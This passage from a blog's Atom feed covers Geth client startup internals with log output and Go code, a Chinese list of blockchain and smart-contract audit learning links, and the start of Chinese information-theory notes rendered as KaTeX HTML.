(https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/muir-glacier.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Berlin:                      #12244000 (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/berlin.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - London:                      #12965000 (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/london.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Arrow Glacier:               #13773000 (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/arrow-glacier.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Gray Glacier:                #15050000 (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/gray-glacier.md)</span><br><span class="line">INFO [09-13|12:46:39.683]</span><br><span class="line">INFO [09-13|12:46:39.683] Merge configurationd:</span><br><span class="line">INFO [09-13|12:46:39.683]  - Hard-fork specification:    https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/paris.md</span><br><span class="line">INFO [09-13|12:46:39.683]  - Network known to be merged: true</span><br><span class="line">INFO [09-13|12:46:39.683]  - Total terminal difficulty:  58750000000000000000000</span><br><span class="line">INFO [09-13|12:46:39.683]</span><br><span class="line">INFO [09-13|12:46:39.683] Post-Merge hard forks (timestamp based):</span><br><span class="line">INFO [09-13|12:46:39.684]  - Shanghai:                    @1681338455 (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/shanghai.md)</span><br><span class="line">INFO [09-13|12:46:39.684]</span><br><span class="line">INFO [09-13|12:46:39.684] ---------------------------------------------------------------------------------------------------------------------------------------------------------</span><br><span class="line">INFO [09-13|12:46:39.684]</span><br><span class="line">INFO [09-13|12:46:39.686] Loaded most recent local block           number=0 hash=d4e567..cb8fa3 td=17,179,869,184 age=54y5mo3w</span><br><span class="line">WARN [09-13|12:46:39.688] Loaded snapshot journal                  diffs=missing</span><br><span class="line">INFO [09-13|12:46:39.688] Resuming state snapshot generation       root=d7f897..0f0544 accounts=0 slots=0 storage=0.00B dangling=0 elapsed=&quot;34.181µs&quot;</span><br><span class="line">INFO [09-13|12:46:39.688] Loaded local transaction journal         transactions=0 dropped=0</span><br><span class="line">INFO [09-13|12:46:39.689] Regenerated local transaction journal    transactions=0 accounts=0</span><br><span class="line">INFO [09-13|12:46:39.729] Chain post-merge, sync via beacon client</span><br><span class="line">INFO [09-13|12:46:39.730] Gasprice oracle is ignoring threshold set threshold=2</span><br><span class="line">WARN [09-13|12:46:39.738] Unclean shutdown detected                booted=2023-09-12T15:07:35+0000 age=21h39m4s</span><br><span class="line">WARN [09-13|12:46:39.738] Unclean shutdown detected                booted=2023-09-13T08:02:05+0000 age=4h44m34s</span><br><span class="line">WARN [09-13|12:46:39.739] Engine API enabled                       protocol=eth</span><br></pre></td></tr></table></figure><p>Following this, the <code>startNode</code> function executes, paving the way for <code>StartNode</code>, which is responsible for actually initiating the server. The method <code>stack.Start()</code> found in <code>cmd/utils/cmd.go:72</code> will launch the node. Once the server is up and running, the Geth client keeps tabs on the disk space and monitors system signals to determine when to terminate the server.</p><p>Within the <code>Start()</code> method, the line <code>err := n.openEndpoints()</code> is responsible to open networking and RPC endpoint. Meanwhile, the <code>n.server.Start()</code> method, located at <code>node/node.go:269</code> initiates the p2p discovery and handshake processes. Concurrently, the line <code>err := n.startRPC()</code> located at <code>node/node.go:273</code> brings the RPC endpoint to life. The output should resemble the following:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">INFO [09-13|13:56:00.514] Starting peer-to-peer node               instance=Geth/v1.12.1-unstable-60ce4e8d-20230810/linux-amd64/go1.20.6</span><br><span class="line">INFO [09-13|13:56:04.989] New local node record                    seq=1,694,613,193,948 id=72f98ebcedb92640 ip=127.0.0.1 udp=35555 tcp=35555</span><br><span class="line">INFO [09-13|13:56:05.083] Started P2P networking                   self=enode://9fc6b61a19d99e8a78ae8f8dbd12f27d208ce9b01dd52177fbfee1812a37467b3c3bab49c181b26b240f52bf1ac8afe64915f9b89465a540a74fdcb5e37f2abd@127.0.0.1:35555</span><br><span class="line">INFO [09-13|13:56:05.325] Generating state snapshot                root=d7f897..0f0544 at=9a53a5..ad4ba5 accounts=5375 slots=0 storage=247.62KiB dangling=0 elapsed=8.003s     eta=28.97s</span><br><span class="line">INFO [09-13|13:56:10.187] IPC endpoint opened                      url=/home/username/.ethereum/geth.ipc</span><br><span class="line">INFO [09-13|13:56:10.200] Loaded JWT secret file                   path=/home/username/.ethereum/geth/jwtsecret crc32=0x3392b636</span><br><span class="line">INFO [09-13|13:56:11.116] WebSocket enabled                        url=ws://127.0.0.1:8553</span><br><span class="line">INFO [09-13|13:56:11.121] HTTP server started                      endpoint=127.0.0.1:8553 auth=true prefix= cors=localhost vhosts=localhost</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Once the p2p network layer has been executed successfully, the crucial Ethereum protocol initiates and remains active. Two essential components stand out:</p><ul><li><code>txPool</code>: This manages transactions according to a specified strategy.</li><li><code>blockchain</code>: This encompasses the EVM (Ethereum Virtual Machine) and upholds the chain structure of the blockchain.</li></ul><p>The rationale for defining the subprotocol as a slice of lifecycle is that Geth also supports other protocols layered over the Devp2p protocol.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Ethereum implements the Ethereum full node service.</span></span><br><span class="line"><span class="keyword">type</span> Ethereum <span class="keyword">struct</span> &#123;</span><br><span class="line">config *ethconfig.Config</span><br><span class="line"></span><br><span class="line"><span class="comment">// Handlers</span></span><br><span class="line">txPool *txpool.TxPool</span><br><span class="line"></span><br><span class="line">blockchain         *core.BlockChain</span><br><span class="line">handler            *handler</span><br><span class="line">ethDialCandidates  enode.Iterator</span><br><span class="line">snapDialCandidates enode.Iterator</span><br><span class="line">merger             *consensus.Merger</span><br><span class="line"></span><br><span class="line"><span class="comment">// DB interfaces</span></span><br><span class="line">chainDb ethdb.Database <span class="comment">// Block chain database</span></span><br><span class="line"></span><br><span class="line">eventMux       *event.TypeMux</span><br><span class="line">engine         consensus.Engine</span><br><span class="line">accountManager *accounts.Manager</span><br><span class="line"></span><br><span class="line">bloomRequests     <span class="keyword">chan</span> <span class="keyword">chan</span> *bloombits.Retrieval <span class="comment">// Channel receiving bloom data retrieval requests</span></span><br><span class="line">bloomIndexer      *core.ChainIndexer             <span class="comment">// Bloom indexer operating during block imports</span></span><br><span class="line">closeBloomHandler <span class="keyword">chan</span> <span class="keyword">struct</span>&#123;&#125;</span><br><span class="line"></span><br><span class="line">APIBackend *EthAPIBackend</span><br><span class="line"></span><br><span class="line">miner     *miner.Miner</span><br><span class="line">gasPrice  *big.Int</span><br><span class="line">etherbase common.Address</span><br><span class="line"></span><br><span class="line">networkID     <span class="type">uint64</span></span><br><span class="line">netRPCService *ethapi.NetAPI</span><br><span class="line"></span><br><span class="line">p2pServer *p2p.Server</span><br><span class="line"></span><br><span class="line">lock sync.RWMutex <span class="comment">// Protects the variadic fields (e.g. gas price and etherbase)</span></span><br><span class="line"></span><br><span class="line">shutdownTracker *shutdowncheck.ShutdownTracker <span class="comment">// Tracks if and when the node has shutdown ungracefully</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>To summarize, the steps for starting a Geth client are as follows:</p><ol><li><strong>Command Line Parsing</strong>: The parser breaks down flags, subcommands, or the configuration file into a <code>context</code>.</li><li><strong>Process Context</strong>: The command line context is processed, establishing memory cache allowances and, if enabled, metrics that monitor the runtime environment.</li><li><strong>Protocol Stack Assembly</strong>: Based on the provided configuration, the protocol stack is assembled into a node struct. Concurrently, interaction methods are incorporated into <code>ethapi.Backend</code>.</li><li>Node Initialization:<ol><li><strong>P2P Network Layer</strong>: Initiates the p2p network layer for node discovery and facilitates basic pre-subprotocol (devp2p) message exchange.</li><li><strong>RPC Endpoint</strong>: This step starts the RPC endpoint.</li><li><strong>Subprotocols Activation</strong>: All the specified subprotocols in the lifecycles of the local node are initiated.</li><li><strong>Monitoring</strong>: Upon successful initialization, the system begins monitoring disk space and awaits system signals for termination.</li></ol></li></ol>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/geth/Geth-Unveiled-Ethereum-Startup/</id>
    <link href="https://www.blog-blockchain.xyz/geth/Geth-Unveiled-Ethereum-Startup/"/>
    <published>2023-09-13T15:02:10.000Z</published>
    <summary>A comprehensive guide to understanding how Geth Ethereum client starts up, from command line parsing to protocol stack assembly, covering P2P network initialization, RPC endpoints, subprotocols activation and monitoring processes.</summary>
    <title>How Geth starts its server</title>
    <updated>2026-02-19T16:18:01.145Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="audit" scheme="https://www.blog-blockchain.xyz/categories/audit/"/>
    <category term="smart contract" scheme="https://www.blog-blockchain.xyz/tags/smart-contract/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/audit/classic-vulnerabilities/" title="智能合约的经典漏洞">智能合约的经典漏洞</a></li><li><a href="/audit/open-source-audit-tools/" title="智能合约的审计工具">智能合约的审计工具</a></li><li><a href="/audit/learning-resource/" title="智能合约学习资源">智能合约学习资源</a></li><li><a href="/audit/smart-contract-learning-path/" title="智能合约安全学习路线">智能合约安全学习路线</a></li><li><a href="/audit/blockchian-study-material/" title="区块链相关学习材料">区块链相关学习材料</a></li></ol></blockquote><p>一些不错的合约相关入门资料。我已经过了这个阶段了，这些书签都要删了，就分享出来。<br><a href="https://github.com/bkrem/awesome-solidity">https://github.com/bkrem/awesome-solidity</a><br><a href="https://learnblockchain.cn/article/2383">https://learnblockchain.cn/article/2383</a><br><a href="https://learnblockchain.cn/column/1">https://learnblockchain.cn/column/1</a><br><a href="https://learnblockchain.cn/eth/">https://learnblockchain.cn/eth/</a><br><a href="https://solidity-by-example.org/">https://solidity-by-example.org/</a><br><a href="https://goethereumbook.org/zh/">https://goethereumbook.org/zh/</a></p><p>流行的生态：<br><a href="https://openzeppelin.com/">https://openzeppelin.com/</a><br><a href="https://www.trufflesuite.com/">https://www.trufflesuite.com/</a><br><a href="https://infura.io/dashboard">https://infura.io/dashboard</a></p><p>一些博客：<br><a href="https://hackmd.io/@Nhlanhla">https://hackmd.io/@Nhlanhla</a><br><a href="https://github.com/blockchainGuide/blockchainguide">https://github.com/blockchainGuide/blockchainguide</a><br><a href="https://u.naturaldao.io/be/">https://u.naturaldao.io/be/</a><br><a href="https://blog.wongssh.cf/">https://blog.wongssh.cf/</a><br><a href="https://www.tofreedom.me/">https://www.tofreedom.me/</a><br><a href="https://blog.wongssh.cf/">https://blog.wongssh.cf/</a></p><p>EVM 字节码和源码相关:<br><a href="https://ethbook.abyteahead.com/index.html">https://ethbook.abyteahead.com/index.html</a><br><a href="https://www.youtube.com/watch?v=RxL_1AfV7N4&amp;t=1s">https://www.youtube.com/watch?v=RxL_1AfV7N4&amp;t=1s</a><br><a href="https://github.com/palkeo/panoramix">https://github.com/palkeo/panoramix</a><br><a href="https://www.yaofeiliang.com/tags/#%E5%8C%BA%E5%9D%97%E9%93%BE">https://www.yaofeiliang.com/tags/#区块链</a><br><a href="https://github.com/ZtesoftCS/go-ethereum-code-analysis">https://github.com/ZtesoftCS/go-ethereum-code-analysis</a><br><a href="https://learnblockchain.cn/books/geth/">https://learnblockchain.cn/books/geth/</a></p><p>问答社区：<br><a href="https://gitter.im/ethereum/home">https://gitter.im/ethereum/home</a><br><a href="https://stackoverflow.com/">https://stackoverflow.com/</a><br><a href="https://forum.openzeppelin.com/c/general/16">https://forum.openzeppelin.com/c/general/16</a></p><p>代码分析：<br><a href="https://blog.csdn.net/zhang971105/article/details/109046458">https://blog.csdn.net/zhang971105/article/details/109046458</a><br><a href="https://xiongyingfei.github.io/SA/2022/main.htm">https://xiongyingfei.github.io/SA/2022/main.htm</a><br><a href="https://pascal-group.bitbucket.io/teaching.html">https://pascal-group.bitbucket.io/teaching.html</a><br><a href="https://www.cs.cmu.edu/~aldrich/courses/17-355-19sp/">https://www.cs.cmu.edu/~aldrich/courses/17-355-19sp/</a></p><p>安全事件和赏金：<br><a href="https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU4ODQ3NTM2OA==&amp;action=getalbum&amp;album_id=1378653641065857025">https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU4ODQ3NTM2OA==&amp;action=getalbum&amp;album_id=1378653641065857025</a><br><a href="https://immunefi.com/">https://immunefi.com/</a><br><a href="https://rekt.news/zh/">https://rekt.news/zh/</a></p><p>积极维护的开源审计工具：<br><a href="https://github.com/crytic/slither">https://github.com/crytic/slither</a><br><a href="https://github.com/ConsenSys/mythril">https://github.com/ConsenSys/mythril</a><br><a href="https://github.com/trailofbits/manticore">https://github.com/trailofbits/manticore</a><br><a href="https://github.com/sc-forks/solidity-coverage">https://github.com/sc-forks/solidity-coverage</a><br><a href="https://github.com/crytic/echidna">https://github.com/crytic/echidna</a></p><p>反汇编工具：<br><a href="https://library.dedaub.com/">https://library.dedaub.com/</a><br><a href="https://www.pnfsoftware.com/jeb/manual/ethereum/">https://www.pnfsoftware.com/jeb/manual/ethereum/</a><br><a href="https://ethervm.io/decompile">https://ethervm.io/decompile</a></p><p>区块链数据库：<br><a href="https://bitquery.io/">https://bitquery.io/</a><br><a href="https://github.com/tintinweb/smart-contract-sanctuary-ethereum">https://github.com/tintinweb/smart-contract-sanctuary-ethereum</a><br><a href="https://xblock.pro/#/">https://xblock.pro/#/</a></p><p>defi 课程和书：<br><a href="https://www.coursera.org/specializations/decentralized-finance-duke">https://www.coursera.org/specializations/decentralized-finance-duke</a><br><a href="https://y1cunhui.github.io/uniswapV3-book-zh-cn/">https://y1cunhui.github.io/uniswapV3-book-zh-cn/</a></p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/audit/blockchian-study-material/</id>
    <link href="https://www.blog-blockchain.xyz/audit/blockchian-study-material/"/>
    <published>2023-08-09T09:33:33.000Z</published>
    <summary>精选区块链学习资源合集，包含Solidity入门教程、开发生态工具、技术博客、EVM字节码分析、安全事件研究等丰富内容。涵盖从基础学习到深度开发的完整资源链，为区块链开发者和安全研究人员提供系统化的学习路径指引。</summary>
    <title>区块链相关学习材料</title>
    <updated>2026-02-19T16:18:01.159Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="courses" scheme="https://www.blog-blockchain.xyz/categories/courses/"/>
    <category term="information" scheme="https://www.blog-blockchain.xyz/tags/information/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/cs-courses/C-language-basis/" title="C语言基础">C语言基础</a></li><li><a href="/cs-courses/modular-inverses/" title="乘法逆元">乘法逆元</a></li><li><a href="/cs-courses/cpp-cryptographic-algorithm-basis/" title="信息安全算法基础">信息安全算法基础</a></li><li><a href="/cs-courses/OS/" title="操作系统基础">操作系统基础</a></li><li><a href="/cs-courses/x86-masm/" title="x86汇编基础">x86汇编基础</a></li><li><a href="/cs-courses/information-theory/" title="信息论与编码">信息论与编码</a></li></ol></blockquote><h2 id="前言">前言</h2><p>这篇总结和系统性学习地笔记，是基于电子科技大学的《信息论与编码》课程，而我写作的初衷是个人的复习。因此，内容可能不是那么详细，但是我会保证基本上我会在自己理解的基础上，完成这篇文章。随着我自己的理解的加深，可能会出现前后不一致的情况，如果读者感到矛盾，那么请在评论区说明，等我有时间时会继续完善的。</p><h2 id="离散信源熵">离散信源熵</h2><p>单符号离散信源是最简单的情况，离散是指信源输出是有限个符号，单符号是指每个符号都是独立的，每次只发出一个符号。</p><h3 id="随机变量基础">随机变量基础</h3><p>在单符号离散信源中，每个符号的概率分布可以用一个概率向量来表示。例如，一个三个符号的单符号离散信源可以用以下概率分布表示，符号 A、B、C 之间是相互独立的，即一个符号的出现不会影响到其他符号的出现概率。可以如下的方式抽象成数学模型。</p><p>离散随机变量集合：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span>，对应概率 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，且 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> , <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>.</p><table><thead><tr><th>符号</th><th>出现概率</th></tr></thead><tbody><tr><td>A</td><td>0.2</td></tr><tr><td>B</td><td>0.3</td></tr><tr><td>C</td><td>0.5</td></tr></tbody></table><p>对于二维随机变量，也是有类似的结论，比较特殊一点的是，</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:11.4594em;vertical-align:-5.4797em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.9797em;"><span style="top:-7.9797em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:-4.6145em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:-1.2494em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:1.1683em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.4797em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.9797em;"><span style="top:-7.9797em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-4.6145em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-1.2494em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t 